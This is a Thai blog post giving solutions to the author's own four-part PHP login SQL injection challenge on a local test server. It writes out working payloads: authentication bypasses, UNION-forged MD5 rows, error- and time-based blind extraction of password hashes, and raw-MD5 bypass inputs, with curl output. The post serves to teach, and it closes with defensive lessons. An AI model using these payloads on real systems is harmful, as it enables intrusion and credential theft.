Tuesday, January 18, 2011

PHP Login กับ SQL Injection (เฉลย)

จากโจทย์ที่ผมตั้งไว้ ถึงเวลาเฉลยแล้ว ถ้าใครเพิ่งมาอ่าน หรือยังไม่ได้ทำ ผมอยากให้ลองทำก่อนดูเฉลยนะครับ

ก่อนจะเฉลย ผมขอพูดถึงการทำ sql injection นิดนึง การทำ sql injection นั้นก็คือการเหมือนกับว่า programmer ได้เขียนคำสั่ง SQL เริ่มต้นให้ (และอาจจะมีต่อท้ายให้ด้วย) สิ่งที่เราต้องทำคือเติมคำสั่ง SQL ให้มันถูกต้อง แต่เปลี่ยนความหมายของคำสั่ง เพื่อดึงเอาข้อมูลส่วนที่เราต้องการออกมา ดังนั้นสิ่งสำคัญในการทำ sql injection คือการเรียนรู้คำสั่ง SQL และ DBMS ต่างๆ เวลาอ่านเฉลยข้อไหนแล้วงงๆ ก็ให้ลองเปิดตัว MySQL client แล้วลองพิมพ์คำสั่ง SQL ที่จะถูกประมวลผลดู

ข้อ 1 อันนี้ถ้าใครลองทำตามตำราแบบง่ายสุดคือใส่ ' or '1'='1 ที่ username คงจะเจอกับ error ว่า "The number of rows is not 1" เนื่องจากผมมีการ check ว่าจำนวน row ที่ได้นั้นเท่ากับ 1 หรือไม่ ดังนั้นวิธีง่ายสุดของข้อนี้ ก็คือใช้ LIMIT ตามนี้ (ผมขอใช้ curl เพื่อประหยัดพื้นที่)

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli1.php?password=whatever&username='+or+1=1+LIMIT+1%23"
Congrats, WIN!!!

ข้อ 2 ข้อนี้จะเห็นว่าใน query มีใช้แค่ username แต่ผม และมีการเอา password มาเปรียบเทียบต่างหาก ซึ่งต่างจากข้อ1 ที่เวลาทำ sql injection ในข้อ1 นั้น สามารถทำให้การ check password นั้นเหมือนไม่มีได้

ปัญหาของข้อนี้ คือเราไม่รู้ว่า password ของ record ที่ query ออกมาจาก database นั้น password อะไร วิธีแก้ก็คือใช้ UNION SELECT เพื่อให้ได้ record ปลอมที่เราสร้างมาเอง เช่นใช้ "UNION SELECT 1,2,3" (ไม่มี quote) จะทำให้การ query ได้ record ที่มี id มีค่าเป็น 1, username มีค่าเป็น 2 และ password มีค่าเป็น 3

แต่เนื่องด้วยใน database นั้นการเก็บ md5 hash ของ password ดังนั้นสิ่งที่เราทำคือต้องการ md5 ของ password ที่เราจะปลอมด้วย ดังนั้นข้อนี้สามารถทำได้ตามนี้

D:\thtutz\challenge>php -r "echo md5('');"
d41d8cd98f00b204e9800998ecf8427e
D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli2.php?password=&username='+UNION+SELECT+1,2,'d41d8cd98f00b204e9800998ecf8427e'%23"
Congrats, WIN!!!

ข้อ 3 ข้อนี้สิ่งที่ผมต้องการให้ทำคือ blind sql injection เพื่อดึงข้อมูลออกมาจาก database ไม่ใช่ bypass login ถ้าใครสังเกต จะเห็นว่าผมใบ้ไว้แล้วว่า ไม่สามารถทำ sql injection ให้ php ไปทำงานที่บรรทัดที่ต้องการได้ พูดง่ายๆ ก็คือไม่สามารถทำ sql injection เพื่อ bypass หน้า login ที่เขียน code แบบนี้ได้ (ถ้าใครทำได้ช่วยบอกผมด้วย ผมทำไม่ได้)

ก่อนอื่นเราก็ต้องมานั่งคิดก่อน เราต้องการดึงอะไรออกมา สำหรับโจทย์ผมนั้นมันชัดเจนว่าต้องดึง username กับ password ออกมา เนื่องด้วย error ที่ออกมาจะมีค่าต่างกัน เราจึงสามารถใช้ประโยชน์จาก error นี้ได้ โดยวิธีการดึง id สามารถทำได้ตามนี้

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=1%23"
Invalid username or password

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=2%23"
Invalid username or password

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=3%23"
The number of rows is not 1

วิธีที่ผมใช้คือ พยายามทำ sql injection ให้ query ออกมาทีละ 1 row ถ้า id ที่ใส่ไปนั้นมีใน database ซึ่งจะเห็นว่า เมื่อใส่ id เป็น 3 (ไ่ม่มีใน database) error ที่ออกมาจะไม่เหมือนเมื่อใส่ id เป็น 1 หรือ 2

สำหรับการดึง username กับ password นั้น ถ้าเราทำแบบ id คือลอง password ทั้ง string นั้นโอกาสที่จะถูกน้อยมาก เพราะ password นั้นยาวมาก วิธีการคือการใช้ function SUBSTR() ของ MySQL ช่วย เพื่อที่จะเปรียบเทียบค่าทีละตัวอักษร อาจจะงง ดูตัวอย่างเลยดีกว่า โดยผมจะทำกับ id เท่ากับ 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='1'+AND+id=1%23"
The number of rows is not 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='2'+AND+id=1%23"
The number of rows is not 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='4'+AND+id=1%23"
Invalid username or password

จากข้างบน จะได้ว่า password hash ของตัวอัีกษรแรกคือ 4 ซึ่งจะเห็นว่าถ้าจะเอา password ออกมาต้อง request เยอะมาก ผมเลยเขียน python สำหรับ request หา password ของ user id 1 ไว้แล้ว (login_blind.py) ซึ่งถ้า run จะได้ผลตามนี้

D:\thtutz\challenge>login_blind.py
1: 4
2: 4
...
44a86b4e2c89f87be46c3ad9f24128dc

สำหรับการดึง username นั้นผมขอให้เขียนเองนะครับ แค่เปลี่ยน charsets และต้อง check ด้วยว่าจบ string หรือยัง ด้วยการเปรียบกับ empty string ('') และเมื่อได้ข้อมูลมาทุกอย่าง เราก็ต้องทำการ crack md5 ซึ่งจะได้ password ออกมาเป็น tooeasy และเอาไป login

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=tooeasy&username=admin"
Impossible to be here with SQL injection
Congrats, WIN!!!

จริงๆแล้ว ข้อนี้ผมตั้งโจทย์ผิด ตั้งใจจะให้ทำ totally blind sql injection แต่ดันทำให้ error มันต่างกัน ผมเลยขออธิบายวิธีทำ sql injection เมื่อ error มันเหมือนกันตลอดด้วย โดยสมมติว่าถ้ามี error อะไรก็แสดงแต่ "Invalid username or password"

ถ้า error เหมือนกัน เราไม่สามารถใช้วิธีข้างบนได้ วิธีที่จะใช้คือ"เวลา" ถ้าสิ่งที่เราต้องการเปรียบเทียบถูกก็ให้ return ค่ากลับมาช้าๆ ถ้าผิดก็ return ทันที โดยการที่ทำให้ MySQL return ค่ากลับมาช้าๆ นั้นสามารถใช้ SLEEP() ตามตัวอย่างต่อไปนี้

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+UNION+SELECT+IF(id=1,SLEEP(5),1),2,3+FROM+members+WHERE+id=1%23"
Invalid username or password     <=== ใช้เวลาอย่างน้อย 5 วินาที

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+UNION+SELECT+IF(id=3,SLEEP(5),1),2,3+FROM+members+WHERE+id=3%23"
The number of rows is not 1

ถ้าใครลองทำตาม จะเห็นว่า request แรก ต้องใช้เวลาอย่างน้อย 5 วินาทีถึงจะได้ response แต่ใน request ที่สองจะได้กลับมาทันที วิธีการนี้จะมี reliable ต่ำกว่าการใช้ error เพราะ server อาจจะยุ่งอยู่ และ network มี latency หรือ round trip time ไม่แน่นอน ทำให้เราได้ response ช้า ทั้งๆที่น่าจะได้ response กลับมาทันที วิธีแก้ก็คือใส่ SLEEP() ให้เยอะหน่อย

สำหรับการดึง password ก็ใช้หลักการเดียวกัน โดยผมเขียนเป็น python code แล้ว (login_total_blind.py) ซึ่งถ้า run จะได้ผลเหมือนข้างบน แต่ใช้เวลามากกว่า ส่วนการดึง username ผมขอให้เขียนเองนะครับ

Note: SLEEP() มีใน MySQL() ตั้งแต่ version 5.0.12 ถ้า version ต่ำกว่า 5.0.12 ต้องใช้ BENCHMARK() (ดูตัวอย่างได้ใน code python ผม โดน comment ไว้อยู่)


ข้อ 4 ปัญหาของข้อนี้ คือการนำ raw md5 ไป query โดยไม่มีการ escape ก่อน สิ่งที่เราต้องทำก็คือ หาค่าที่เมื่อทำ md5 แล้วได้ค่าประมาณ "or 1=1#" เพื่อให้ SQL query ออกมามี row มากกว่า 0

ข้อจำกัดของข้อนี้คือ raw md5 มีขนาด 16 bytes ดังนั้นคำสั่งที่เราต้องการจะต้องมีความยาวไม่เกิน 16 ตัวอักษร แต่เพื่อที่จะโอกาสที่จะหาค่าของ md5 ที่ต้องการเจอ เราต้องทำให้สิ่งที่เราต้องการสั้นที่สุดเท่าที่จะสั้นได้ เรามาลองคำสั่ง SQL (ใน MySQL client) รูปแบบต่างๆ ที่ทำให้การ query ออกมาอย่างน้อย 1 row กันก่อนดีกว่า แล้วค่อยอธิบาย (ให้สังเกตด้วยนะครับผมใช้ double quote ไม่ใช่ single quote)

mysql> use thtutz;
Database changed
mysql> select * from members where password="" or 1=1;#"
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 44a86b4e2c89f87be46c3ad9f24128dc |
|  2 | junk     | invalid_hash                     |
+----+----------+----------------------------------+
2 rows in set (0.13 sec)

mysql> select * from members where password="" or 1;#"
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password=""||1;#"
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password="s"||"2gff"; # วิธีของทีม Kernel Sanders
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password="s"||"gff";
Empty set, 1 warning (0.00 sec)

mysql> select * from members where password="s"="v"; # วิธีของทีม Nibbles
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 44a86b4e2c89f87be46c3ad9f24128dc |
|  2 | junk     | invalid_hash                     |
+----+----------+----------------------------------+
2 rows in set, 2 warnings (0.00 sec)

มาเริ่มกันที่ query แรก คือแบบที่ใช้กันทั่วไป ต้องใช้ถึง 9 ตัวอักษร (" or 1=1#) ต่อมา query ที่สอง หลังจากการอ่าน MySQL document ผมเจอว่า MySQL นั้นจะถือตัวเลขที่ไม่ใช่ 0 เป็น true ดังนั้นแทนที่เราจะใช้ 1=1 เหลือใช้เพียงตัวเลขอะไรก็ได้ที่ไม่ใช่ 0 ก็จะต้องใช้ 7 ตัวอักษร (" or 1#)

ส่วน query ที่สามเป็นวิธีที่ผมใช้เพื่อแก้โจทย์นี้ จาก document อีกเช่นกัน MySQL สามารถใช้ || แทน or ได้ โดยเมื่อใช้ || แล้วไม่จำเป็นต้องมีช่องว่าง ทำให้ต้องใช้ 5 ตัวอักษร ("||1#) และเมื่อเขียน code โดยใช้ md5 จาก openssl จะได้ login_md5raw_1.c (compile กันเอาเองนะครับ อย่าลืม link กับ openssl ด้วย) ซึ่งของผมใช้เวลานานกว่า 30 นาที เมื่อผมเปลี่ยนโจทย์ให้ใช้ double quote (ผมไม่อยากรอ ไว้ดูของคนอื่นดีกว่า)

ใน code ของผม จะทำการ brute force ค่า binary ทุกค่าเนื่องจากการ request สามารถรับข้อมูลที่เป็น binary ได้ โดยทำการ request ไว้ดูในวิธีสุดท้ายทีเดียวเลยละักัน

ส่วน query ที่สี่นั้นเป็นวิธีของทีม Kernel Sanders โดยใช้หลักที่ว่า string ที่ขึ้นด้วยตัวเลขที่ไม่ใช่ 0 MySQL ถือว่าเป็น true และเพื่อให้ search หาได้เร็วขึ้นก็จะ search เพียงแค่ "||" แล้วค่อย check ตัวถัดไป โดย code ที่ดัดแปลงจากของผมคือ login_md5raw_2.c ซึ่งวิธีนี้ code ของผมก็ run นาน เมื่อเปลี่ยนมาใช้ double quote
Note: ทีม Kernel Sanders หาโดยใช้ตัวเลขอย่างเดียว ได้ผลลัพธ์คือ 129581926211651571912466741651878684928 (สำหรับ single quote ถ้าใครไปลองก็จะไม่ถูก)

ส่วน query สุดท้ายนั้นเป็นวิธีของทีม Nibbles เป็นวิธีที่สั้นที่สุด โดยเงื่อนไข where จะเป็น password="a"="z" ซึ่ง MySQL จะ parse เป็น (password="a")="z" ทำให้เป็น false="z" และเป็น false=false ซึ่งผลลัพธ์สุดท้ายกลายเป็น true แต่ string สุดท้ายต้องไม่ขึ้นต้นด้วยตัวเลข ซึ่งเมื่อผมเอามาใช้ใน code ผมคือ login_md5raw_3.c ซึ่ง run ไม่ถึงวินาที จะได้ผลลัพธ์คือ %ac%d6%04 และ python code ที่ผมเอามาจากทีม Nibbles โดยแก้ให้เป็นสำหรับ double quote (login_md5raw_3.py) โดยเป็นตัวเลขอย่างเดียวจาก python จะได้ 1319 โดยนำมา request ได้ตามนี้

password: acd604
password: %ac%d6%04
result: 223d0c22570c581b84a9301adad18739
result: "= "W X „ฉ0 ฺั‡9
D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli4.php?password=%ac%d6%04"
Congrats, WIN!!!

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli4.php?password=1319"
Congrats, WIN!!!

Note: ทีม Nibbles หาโดยใช้ตัวเลขอย่างเดียว ได้ผลลัพธ์คือ 1839431 (สำหรับ single quote ถ้าใครไปลองก็จะไม่ถูก)


สรุป

สิ่งที่ผมอยากจะให้เห็นการทำ sql injection จากโจทย์พวกนี้ โดยเฉพาะข้อ 3 กับ 4 คือ
- sql injection มันมีได้หลายรูปแบบ ในหลายๆครั้ง ต้องมีการดัดแปลง ดังนั้นสิ่งสำคัญคือต้องรู้ SQL แล้วนำไปประยุกต์ใช้เป็น
- ถ้า code มีปัญหาเรื่อง sql injection ส่วนมากก็จะทำ sql injection ได้ อย่างเช่นในข้อ 3 ถึงแม้จะมีการดักไว้ว่า username ที่ดึงมาจาก database ต้องตรงกับที่ใส่มา เราก็ใช้วิธี blind sql injection เพื่อดึงข้อมูลออกมาแทนได้
- อันนี้สำหรับ programmer คือถ้าเรามีการแปลง (transform) ข้อมูลก่อนที่จะนำเข้า database เช่นในข้อ 4 ให้ถือว่าเป็นข้อมูลที่ยังไม่ได้ตรวจสอบ (untrusted input) อาจจะมีอันตรายได้
- input ที่ใส่ไม่จำเป็นต้องเป็นตัวอักษรที่อ่านออกได้ ดังเวลาที่เขียน code หรือจะทำ sql injection ก็ควรที่จะคิดถึงข้อมูลประเภทนี้ด้วย
- โปรแกรมอาจจะใช้ double quote ใน SQL query เช่นในโจทย์ข้อ 4 ดังนั้นเวลาทำ sql injection ควรลองทดสอบทั้ง single quote และ double quote

4 comments:

  1. สุดยอดเลยยย ครับ
    ตอนนี้ผมกำลังสนใจเรื่อง ssh port forward
    ถ้าคุณรู้เรืองนี้ไงช่วยเขียนหน่อยนะครับ ผมจะรออ่าาน อิอิ

    ReplyDelete
  2. ตอนนี้เรื่องที่ผมเขียนอยู่ก็เขียนได้อีกหลายเดือน

    และเรื่อง ssh port forwarding ผมไม่คิดจะเขียนเลยครับ แนะนำให้หาอ่านที่อื่นจะดีกว่า

    ReplyDelete
  3. ข้อ 4 สุดยอดมาก เล่นเอามึนไปเลยครับ

    ReplyDelete
  4. Invalid SQL query เวลาลอกอินอะครับ แปลว่าอะไรเรหอครับ

    ReplyDelete